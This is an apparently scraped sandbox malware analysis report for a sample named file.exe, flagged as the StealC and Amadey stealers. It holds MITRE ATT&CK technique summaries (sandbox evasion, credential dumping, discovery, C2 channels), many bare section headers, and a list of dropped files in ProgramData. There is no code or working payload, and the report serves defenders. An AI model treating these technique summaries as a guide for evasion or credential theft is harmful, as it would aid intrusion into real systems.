Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DHDHCGHDHIDHCBGCBGCAEBAKEH

C:\ProgramData\EHCBAAAFHJDHJJKEBGHIECAKJK

C:\ProgramData\EHJJKFCBGIDGHIECGCBK

C:\ProgramData\JJDGIIDH

C:\ProgramData\JJKFBFIJJECGCAAAFCBG

C:\ProgramData\KKFBFCAF

C:\ProgramData\KKFBFCAFCBKFIEBFHIDB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre